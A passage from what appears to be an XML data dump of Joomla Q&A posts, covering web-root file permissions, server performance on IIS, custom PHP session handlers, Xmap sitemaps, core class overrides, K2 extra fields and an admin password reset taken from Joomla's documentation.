&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I find having the ownership and permissions that way very unhandy because I like to use FileZilla and a Terminal session command line most of the time, and I upload a lot of files manually. But I can't overwrite any files because I don't own them and I don't have permissions to write. I could have FileZilla log in under the web server account, BUT... I want FileZilla to log in under my account, so I can browse other directories also, not just the files the webserver has access to... SO... I change the ownership and permissions to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Filename      Size   Filetype  Last Modified          Permissions   Owner/Group&#xA;somefile.txt  11KB   txt file  2014-04-23 3:43:00 AM  drwxr-xr-x    myName www-data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I make myself the owner, and put the web server in the Group... and I change the permissions for directories to 775, and for files to 664. Makes my life a lot easier... but I don't recommend it for everyone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do it my way, these are the commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Set ownership:   sudo chown -R myName:www-data /path/to/your/domain.com&#xA; Set Directories: sudo find /path/to/your/domain.com -type d -exec chmod 775 {} \;&#xA; Set files :      sudo find /path/to/your/domain.com -type f -exec chmod 664 {} \;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="128" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-12-28T08:54:49.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="195" PostTypeId="2" ParentId="188" CreationDate="2014-04-23T13:31:36.717" Score="5" Body="&lt;p&gt;Actually, Joomla 3.3 will have it hardcoded in the layout files, because it's just not easy to use by the user. There is a GSoC project to make the library more user friendly.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-23T13:31:36.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="196" PostTypeId="2" ParentId="187" CreationDate="2014-04-23T13:36:01.577" Score="4" Body="&lt;p&gt;You can manage the Joomla site on the site level by enabling debugging and seeing what's occurring on the pages if we're talking about Joomla 3.x. From there, you can make any adjustments necessary(reworking queries, trimming out offending extensions, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also be able to get a more involved look at the situation in real time using &lt;a href=&quot;http://hisham.hm/htop/&quot; rel=&quot;nofollow&quot;&gt;htop&lt;/a&gt; through SSH, which will not only tell you about running processes, but in most cases, what precisely is running. You can achieve similar results with the &quot;&lt;a href=&quot;http://www.thegeekstuff.com/2011/03/sar-examples/&quot; rel=&quot;nofollow&quot;&gt;sar&lt;/a&gt;&quot; command, but a perk to this will also give you the server's &quot;trends&quot;, especially useful if you're on a dedicated hosting environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if all else fails, you can permit the account for additional resources under &lt;a href=&quot;http://docs.cloudlinux.com/index.html?understanding_lve.html&quot; rel=&quot;nofollow&quot;&gt;LVE&lt;/a&gt;. I don't know to what extent your site is consuming memory, so I can't say if it would be &quot;too much&quot; for your situation. CloudLinux on base configuration initiates extremely conservative limits on accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not an admin on the server but are using cPanel, raise the concern with your host and see if they can get you any of the information mentioned previously(you could also mention that you're experiencing these memory spikes and want to know what's going on, most of the time they can help pin-point the issue but unless they know anything about Joomla, they may also tell you something that doesn't quite make sense and could be potentially incorrect). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have a plugin called &quot;Resource Usage&quot; or &quot;Resource Usage Details&quot; on your cPanel home screen, if not, I'm sure your host would be happy to install it. This way at least you have that information available in the future and won't have to wait on a response from the host to really get into troubleshooting.&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2014-04-23T14:34:10.157" LastActivityDate="2014-04-23T14:34:10.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="197" PostTypeId="2" ParentId="2" CreationDate="2014-04-23T13:49:38.690" Score="2" Body="&lt;p&gt;We use sh404SEF extensively at work for large clients, so I deal with this a lot. There are times where sh404 does weird things and other times it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to purge your URL database (from within the sh404 admin) and then go back to the frontend of the site and navigate it to regenerate the site URL's. This usually fixes a lot of the oddities of sh404SEF.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-23T13:49:38.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="198" PostTypeId="1" AcceptedAnswerId="215" CreationDate="2014-04-23T14:01:55.247" Score="8" ViewCount="1575" Body="&lt;p&gt;We have a website that is hosted on a IIS 7.5 server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a copy of the same website on an Apache2.2/Centos 6.x server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On IIS the site is slower (about twice longer or even more) and so far we haven't been able to improve the server response time and/or the site speed in general (frontend and backend).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know about IIS, so it's been complicated to know what to do (for me).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far we have tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some MySQL tuning&lt;/li&gt;&#xA;&lt;li&gt;Enabling Gzip compression without success.&lt;/li&gt;&#xA;&lt;li&gt;Jotcache extension (it works but the website is still slower than on apache)&lt;/li&gt;&#xA;&lt;li&gt;Disabling or uninstalling unneeded extensions.&lt;/li&gt;&#xA;&lt;li&gt;JCH Optimize pro&lt;/li&gt;&#xA;&lt;li&gt;No PHP Cache (any ideas?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My guess is that we need/should work on the server/php/mysql configuration, however I don't know if there is anything special that we should do to improve performance on IIS and make it as fast as possible as the one on apache. What can we do to improve the performance on IIS ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now our server response time is longer than 1.5 seconds on the IIS website and about 0.4 seconds on apache.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-04-23T17:48:14.130" Title="Performance of Joomla on IIS" Tags="|performance|server-response-time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="199" PostTypeId="1" AcceptedAnswerId="200" CreationDate="2014-04-23T14:11:09.780" Score="3" ViewCount="888" Body="&lt;p&gt;I'm building a &lt;a href=&quot;http://angularjs.org&quot; rel=&quot;nofollow&quot;&gt;AngularJs&lt;/a&gt; app using joomla in background. The AngularJs app get loaded once and then calls the server always through ajax. Some calls happen simultaneously. If I'm using the default PHP session in those calls, php will process one call at a time. So, I wrote my own Session handler to allow more than one call at a time and I would like use that in place of the default php Session. Is there a easy way to do this in Joomla or I will have to write my own JSession class?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    session_start();&#xA;    sleep(10);&#xA;    echo &quot;Hello&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you call this file twice in the same browser in the same time, the first call will return in 10 seconds, the second call will return in 20 seconds. The JSession class call the session_start(), so the joomla has the same behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we use the database option or extend the JSessionStorage with own session handler, joomla use &lt;code&gt;session_set_save_handler()&lt;/code&gt; and it changes the default behavior of lock the session. So, I was wrong when I say that to call session_start involves lock the session.&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditDate="2014-04-26T15:13:39.413" LastActivityDate="2014-04-26T15:13:39.413" Title="Override default php session" Tags="|ajax|php|session|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="200" PostTypeId="2" ParentId="199" CreationDate="2014-04-23T14:19:37.020" Score="3" Body="&lt;p&gt;You don't have to write your own JSession class, but you'll need to write a class extending &lt;code&gt;JSessionStorage&lt;/code&gt; to integrate with Joomla's session handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most likely you'll run into trouble when trying to set the the session handler trough the Global Configuration. Either override &lt;code&gt;JFormFieldSessionHandler&lt;/code&gt; with a version that includes your handler or just specify it manually in &lt;code&gt;configuration.php&lt;/code&gt;. However the latter option means that you might run into trouble when you try to use the Global Configuration in the future.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-04-23T14:19:37.020" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="201" PostTypeId="2" ParentId="199" CreationDate="2014-04-23T14:23:44.543" Score="2" Body="&lt;p&gt;Joomla allows you to create new Session Storage backends, which may solve your problem. Just extend &lt;code&gt;JSessionStorage&lt;/code&gt; with your custom session class, and then you can set the handler in your configuration.php file directly. (Custom session storage backends don't show up in the global admin config.)&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-23T14:23:44.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="202" PostTypeId="2" ParentId="199" CreationDate="2014-04-23T14:23:51.110" Score="4" Body="&lt;p&gt;Edit: It seams that the answer is not correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default Joomla Session Handler (Database) does not lock the session while processing. So you don't have to worry about locking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway its possible that you override that session data of the first request with data of the second requests.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2014-04-23T18:25:42.100" LastActivityDate="2014-04-23T18:25:42.100" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="203" PostTypeId="1" AcceptedAnswerId="206" CreationDate="2014-04-23T14:28:22.807" Score="5" ViewCount="1386" Body="&lt;p&gt;I have a small personal website, bilingual, say &lt;em&gt;namesurname.joomlafree.it&lt;/em&gt;, made with Joomla 2.5 (remote installation). I have created with &lt;a href=&quot;http://www.jooxmap.com/&quot; rel=&quot;nofollow&quot;&gt;Xmap&lt;/a&gt; two sitemaps, one for italian language, one for english.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in one of my pages, I have a video gallery made with &lt;a href=&quot;http://www.hdwplayer.com/&quot; rel=&quot;nofollow&quot;&gt;HDW Player&lt;/a&gt;, with some dozens videos. Each of these, when selected, links to url like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namesurname.joomlafree.it/en/music-and-videos/video/1.html&#xA;&#xA;...&#xA;&#xA;namesurname.joomlafree.it/en/music-and-videos/video/40.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These urls are many more than the ones in my sitemaps (say 40 vs. 12) and are not included there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I think of adding those urls to the sitemaps? In that case, how do I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask this because, in HDW Player settings, is possible to add description and metadata to each of the videos/urls and I take for granted that it is in some SEO point of view. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="69" LastEditDate="2014-04-24T19:23:57.210" LastActivityDate="2014-04-28T18:32:54.203" Title="Sitemaps with Xmap on Joomla 2.5: (how) can I improve them?" Tags="|component|performance|seo|joomla-2.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="204" PostTypeId="2" ParentId="163" CreationDate="2014-04-23T14:39:25.113" Score="1" Body="&lt;p&gt;It is possible for recover the admin password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two ways to recover the admin password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit configuration.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $root_user='myname';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit #__user table in database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  1.Navigate to phpMyAdmin and select the database for the Joomla! site in the left-hand drop-down list box. This will show the database tables on the left side of the screen.&#xA;&#xA;&#xA;  2.Find and click on the table with &quot;_users&quot; appended in the list of tables (note: you may have a prefix that is not jos_, simply go to the _users table for your prefix).&#xA;&#xA;&#xA;  3.Click on the &quot;Browse&quot; button in the top toolbar. This will show all of the users that are set up for this site.&#xA;&#xA;&#xA;  4.Find the user whose password you want to change and press the Edit icon for this row.&#xA;&#xA;&#xA;  5.A form will display that allows you to edit the password field. Copy the value&#xA;&#xA;*d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199*&#xA;&#xA;into the password field and press the Go button. phpMyAdmin should display the message &quot;Affected rows: 1&quot;. At this point, the password should be changed to &quot;secret&quot;.&#xA;&#xA;&#xA;  6.Log in with this user and password and change the password of this user to a secure value. Check all of the users using the User Manager to make sure they are legitimate. If you have been hacked, you may want to change all of the passwords on the site. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-04-25T08:26:25.210" LastActivityDate="2014-04-25T08:26:25.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="205" PostTypeId="1" AcceptedAnswerId="207" CreationDate="2014-04-23T14:56:20.363" Score="20" ViewCount="6607" Body="&lt;p&gt;Sometimes there is a need to override core classes to get more functionality or to make some core functions work in another way. Is there any way how to override core classes? If it is possible then what issues I can face by overriding them?&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2022-07-02T00:26:20.603" Title="How to override core classes?" Tags="|overrides|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="206" PostTypeId="2" ParentId="203" CreationDate="2014-04-23T14:59:57.157" Score="4" Body="&lt;p&gt;I use two different site maps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A html site map that users can use to navigate the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mainly an overview of the site. It should be nicely formatted and easy to use by humans.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A xml site map that search engines can use to find everything I want them to find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This contains all the pages that my site has, including the ones in the overview. You can be much more specific in this map since only bots will read it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want those files indexed, I'd add them to your XML site map. You may be able to add them through xmap by adding a menu for them, and menu items for each file (depending on how many files you have that may not be feasible). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I ended up doing is modifying the xmap plugin, since I wanted to add dynamically changing data to my XML site map. You can do this by editing the display() function in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;components/com_xmap/views/xml/view.html.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the files into the $this-&gt;items array after its defined. Each file should contain an array of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;id&#xA;title&#xA;home&#xA;priority&#xA;type&#xA;link&#xA;changefreq&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may take some trial and error to get the map displaying the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to add the xml site map:&#xA;&lt;a href=&quot;http://www.jooxmap.com/documentation/6-howto-xmap-as-sitemap-xml.html&quot; rel=&quot;nofollow&quot;&gt;http://www.jooxmap.com/documentation/6-howto-xmap-as-sitemap-xml.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# English sitemap&#xA;RewriteCond %{REQUEST_URI} ^/sitemap-en.xml&#xA;RewriteRule .* /index.php?option=com_xmap&amp;amp;id=1&amp;amp;view=xml&amp;amp;lang=en&#xA;&#xA;# Spanish sitemap&#xA;RewriteCond %{REQUEST_URI} ^/sitemap-es.xml&#xA;RewriteRule .* /index.php?option=com_xmap&amp;amp;id=1&amp;amp;view=xml&amp;amp;lang=es&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-04-28T18:32:54.203" LastActivityDate="2014-04-28T18:32:54.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="207" PostTypeId="2" ParentId="205" CreationDate="2014-04-23T15:27:25.323" Score="16" Body="&lt;p&gt;Yes, it is possible.&lt;/p&gt;&#xA;&lt;p&gt;You can use a system plugin to override the classes, please read &lt;a href=&quot;http://community.joomla.org/blogs/community/521-did-you-know-overrides-are-not-just-for-html.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?p=2246453&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Two problems that you will face:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;you need to override the whole class (not just parts of it) and&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if the core is updated and the class is also updated/changed, you need to update your override (if needed).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="38" LastEditorUserId="12352" LastEditDate="2022-07-02T00:26:20.603" LastActivityDate="2022-07-02T00:26:20.603" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="208" PostTypeId="1" AcceptedAnswerId="210" CreationDate="2014-04-23T15:49:32.720" Score="8" ViewCount="5697" Body="&lt;p&gt;I'm building a site that uses K2 extra fields, but I'm customizing the output so I'm not just pulling the entire extra field block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally something like this works for single entry fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($this-&amp;gt;item-&amp;gt;extraFields-&amp;gt;streetaddressone-&amp;gt;value != ''): ?&amp;gt;&#xA; &amp;lt;span class=&quot;itemExtraFieldsValue Address1&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;extraFields-&amp;gt;streetaddressone-&amp;gt;value ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have a field that is a multi-select list and I want to pull the entire array into a line on my item page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit of a hack, so I just got stuck on this one.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="10" LastEditDate="2014-04-24T20:30:48.870" LastActivityDate="2015-09-30T04:44:23.603" Title="How do I pull data from a K2 extra field that is an array?" Tags="|cms|php|k2|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="209" PostTypeId="2" ParentId="205" CreationDate="2014-04-23T15:51:51.790" Score="10" Body="&lt;p&gt;I created a plugin a while ago that allows you to override core classes, but it still falls prey to the problems that @jackJoe pointed out in his answer. However, it allows you to do the overrides cleanly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/dongilbert/3237387&quot;&gt;https://gist.github.com/dongilbert/3237387&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2014-04-23T15:51:51.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="210" PostTypeId="2" ParentId="208" CreationDate="2014-04-23T16:12:27.133" Score="9" Body="&lt;p&gt;It depends on what .php document you're in - if you're in item.php, or the category-item.php files, the following should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the top of the document, add this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Call to prepare extra fields --&amp;gt; &#xA;&amp;lt;?php  &#xA;$extrafields = array();&#xA;foreach($this-&amp;gt;item-&amp;gt;extra_fields as $item)&#xA;{    &#xA;$extrafields[$item-&amp;gt;id] = $item-&amp;gt;value;&#xA;}   &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, wherever you'd like to call the value of the filled in field, use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($extrafields[ID_NUMBER_OF_FIELD]!=''):?&amp;gt; &amp;lt;!-- if filled in, then call data --&amp;gt;&#xA;&amp;lt;?php echo $extrafields[ID_NUMBER_OF_FIELD];?&amp;gt; &amp;lt;!-- actual data call --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tag.php works a little differently, as does the K2 Modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tag.php - you don't need the extra code in the head, the following will call your field data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $extrafields = json_decode($item-&amp;gt;extra_fields);?&amp;gt;&#xA;&amp;lt;?php foreach($extrafields as $key=&amp;gt;$value): ?&amp;gt;&#xA;&amp;lt;?php if($extrafields[$key]-&amp;gt;id == 'ID_NUMBER_OF_FIELD'&amp;amp;&amp;amp;$extrafields[$key]-&amp;gt;value!=''): ?&amp;gt;&#xA;&amp;lt;?php echo $extrafields[$key]-&amp;gt;value; ?&amp;gt;,&#xA;&amp;lt;?php endif; ?&amp;gt; &#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, with the module_k2_content, you don't need the top data call.  Get your field data this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $item-&amp;gt;extraFields-&amp;gt;ALIAS_OF_FIELD-&amp;gt;value ;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-23T16:12:27.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="211" PostTypeId="5" CreationDate="2014-04-23T16:19:59.260" Score="0" Body="&lt;h1&gt;SEO&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Search Engine Optimization is the set of steps that can be taken to improve your page rank in search engines. Topics include: sitemaps, metadata, canonical links, search pagination, h1 and title tags, and url format.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T16:25:23.310" LastActivityDate="2015-08-21T16:25:23.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="212" PostTypeId="4" CreationDate="2014-04-23T16:19:59.260" Score="0" Body="Search Engine Optimization is the set of steps that can be taken to improve your page rank in search engines. Topics include: sitemaps, metadata, canonical links, search pagination, h1 and title tags, and url format." OwnerUserId="19" LastEditorUserId="19" LastEditDate="2014-04-24T15:53:22.750" LastActivityDate="2014-04-24T15:53:22.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="213" PostTypeId="2" ParentId="188" CreationDate="2014-04-23T17:21:15.237" Score="3" Body="&lt;p&gt;Also, JCE has included a microdata editor plugin that may be useful in the meantime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/documentation/107-microdata/385-creating-and-editing-microdata&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/support/documentation/107-microdata/385-creating-and-editing-microdata&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="23" LastEditDate="2014-04-23T17:47:51.710" LastActivityDate="2014-04-23T17:47:51.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="214" PostTypeId="2" ParentId="146" CreationDate="2014-04-23T17:25:20.133" Score="11" Body="&lt;p&gt;Valentin answer is good but is a bit overly complex if all you need to do is add 1 or 2 ajax calls to a component that is already built. It's perfectly possible to get away with not making separate &lt;code&gt;controller.raw.php&lt;/code&gt; or &lt;code&gt;view.raw.php&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this ajax call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?format=raw&amp;amp;option=com_example&amp;amp;controller=job&amp;amp;task=keep_alive&amp;amp;tokenhash=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;job&lt;/code&gt; subcontroller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function keep_alive() {&#xA;    $this-&amp;gt;ajax_check();&#xA;&#xA;    //Do your processing and echo out whatever you want to return to the AJAX call&#xA;    header('HTTP/1.1 202 Accepted', true, 202);&#xA;    echo 'OK';&#xA;&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;}&#xA;&#xA;// Verifies jtoken and does a basic check that this is actually an AJAX call&#xA;private function ajax_check() {&#xA;    if(!JSession::checkToken('GET') || !isset($_SERVER['HTTP_X_REQUESTED_WITH']) || strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) !== 'xmlhttprequest') {&#xA;        header('HTTP/1.1 403 Forbidden', true, 403);&#xA;        JFactory::getApplication()-&amp;gt;close();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10" LastActivityDate="2014-04-23T17:25:20.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="215" PostTypeId="2" ParentId="198" CreationDate="2014-04-23T17:48:14.130" Score="3" Body="&lt;p&gt;Be aware that PHP is generally slower under Windows than under Unix-like operating systems. Things have gotten better with newer version (update!) but there's still a measurable difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said there are two big steps to take when optimizing your servers PHP performance:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use FastCGI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While fpm only works on Unix, FastCGI also works with IIS under Windows.&#xA;Here's a tutorial from Microsoft itself on how to do it: &lt;a href=&quot;http://www.iis.net/learn/application-frameworks/running-php-applications-on-iis/set-up-fastcgi-for-php&quot; rel=&quot;nofollow&quot;&gt;http://www.iis.net/learn/application-frameworks/running-php-applications-on-iis/set-up-fastcgi-for-php&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use an Opcode cache&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again Microsoft has you covered with the &lt;a href=&quot;http://www.iis.net/downloads/microsoft/wincache-extension&quot; rel=&quot;nofollow&quot;&gt;WinCache&lt;/a&gt; extension.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you still have performance issues after these steps I recommend profiling both the Windows and the Linux version. You can use either &lt;a href=&quot;http://www.php.net/manual/en/book.xhprof.php&quot; rel=&quot;nofollow&quot;&gt;xhprof&lt;/a&gt; or &lt;a href=&quot;http://xdebug.org&quot; rel=&quot;nofollow&quot;&gt;Xdebug&lt;/a&gt;. Try to find out whether you have a problem with PHPs performance or MySQL.&#xA;Another test you could do is serving both copies from the same database server (needs to be a third server). That will quickly tell you whether you have a PHP or a MySQL problem.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-04-23T17:48:14.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="216" PostTypeId="1" CreationDate="2014-04-23T18:54:39.090" Score="14" ViewCount="6078" Body="&lt;p&gt;I'm a proponent of Responsive Web Design in conjunction with Adaptive Web Design (i.e. - one design that adjusts display for all devices and provides content based on view port size) as opposed to separate 'mobile' sites designs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some drawbacks, for example, on large displays I'd like to include some modules which will be hidden for smaller viewport sizes.  However, &lt;em&gt;in the case where a module is hidden based on viewport size, loading and executing that module causes a needless performance hit&lt;/em&gt; when it is known that the specific module will never be displayed at a smaller viewport size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use viewport size to effectively disable a module (i.e. stop it from executing) in order to speed up performance?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="27" LastEditDate="2014-04-25T23:06:40.860" LastActivityDate="2014-06-19T21:51:56.053" Title="How can a module be disabled based on device or viewport size in Joomla 3 to optimize performance for mobile devices?" Tags="|performance|joomla-3.x|responsive-web-design|mobile-web-design|" AnswerCount="9" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="217" PostTypeId="2" ParentId="216" CreationDate="2014-04-23T19:00:21.570" Score="10" Body="&lt;p&gt;I don't think you should be disabling modules like that and still call it responsive design. Part of the point with responsive is that it will respond to changes of viewport and not just that it prints out a different layout for different screen sizes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the example screen sizes it's possible that a tablet in portrait mode will cause the module to not load but then that same tablet might need that content once in landscape mode.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2014-04-23T19:00:21.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
